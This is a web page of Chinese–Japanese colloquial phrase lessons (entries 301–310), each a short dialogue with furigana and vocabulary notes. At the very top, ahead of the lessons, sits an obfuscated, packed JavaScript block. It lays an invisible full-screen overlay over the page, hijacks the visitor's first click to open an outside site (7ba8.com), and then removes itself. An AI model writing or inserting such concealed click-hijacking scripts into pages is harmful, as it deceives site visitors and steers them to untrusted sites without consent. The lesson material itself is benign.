<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>301.没长眼啊！ 見えてないの？
A:这个我也买！
B:没长眼啊！你妈妈在生气呢！
A:これも買（か）って！
B:見えてないの？お母（かあ）さん怒（おこ）ってるよ。
302.是同伙的！ 一味だよ！
A:你想干嘛！
B:你就算了吧！他们是同伙的！
A:何（なに）すんだよ！
B:やめときなよ！あいつら一味（いちみ）だよ。
303.无怨无悔。 本望（ほんもう）です。
A:你怎么啦，对他作出如此牺牲？
B:我无怨无悔。
A:そんなに 貢（みつ）いで どうするの。
B:本望です。
注：
貢（みつ）ぐ：【他五】供给，献给。
本望：【名】本来愿望。
304.你讨没趣！ つまらないことして！
A:他说不行！
B:自讨没趣。问他本来就是白费口舌！
A:だめだって。
B:つまらないことして。聞（き）くだけ 無駄（むだ）に きまってるのに。
305.社会败类。 害虫（がいちゅう）。
A:听说他这次又偷了轻便摩托车。
B:那家伙简直是个社会败类。
A:今度（こんど）は バイクぬすんだんだって。
B:害虫（がいちゅう）だよ、あいつは。
306.光说不练！ 口ばっかり！
A:听说游泳对减肥的效果很好。
B:那就试试看不就得了。别总是光说不练嘛！
A:水泳（すいえい）はダイエットに すごく 効果的（こうかてき）なんだって。
B:それじゃ、やればいい じゃない。いつだって 口（くち）ばっかりなんだから。
注：
ダイエット：【名】diet,减肥。
307.此路不通！ そうはイカの塩辛（しおから）。
A:他想降我职比我自动离职，此路不通的啦！
A:左遷（させん）して 自主（じしゅ）退職（たいしょく）させようったって。そうはイカの塩辛。
注：
左遷：【名、他サ】降职。
イカの塩辛：腌咸乌贼。本来【行不通】的日文说法应该是「そうはいかない」，因为发音同乌贼的「いか」，所以故意开玩笑把它说成「そうはイカの塩辛」。后来也变成惯用说法。
308.奉子成婚。 できちゃった婚（こん）。
A:哇！她要结婚了！咦？不是说下个月就要生小宝宝了？
B:原来是奉子成婚啊！
A:わぁ、結婚（けっこん）する んだぁ。あれ？来月（らいげつ） 赤（あか）ちゃん 生（う）まれるって。
B:できちゃった 婚 か。
309.突发灵感。 インスピレーション が 湧（わ）く。
A：啊！突发灵感呀！太妙了！
A: わわ！インスピレーション が 湧（わ）いたぞ。よしよし。
注：
インスピレーション：inspiration.神灵的启示、灵感、妙想。
310.你懂不懂啊！ 分（わ）かる？
A: 就是说，从明天开始可以不用再来。你懂不懂啊！
A:だから、明日 から もう 来なくて いいってこと。分（わ）かる？ |
|
收藏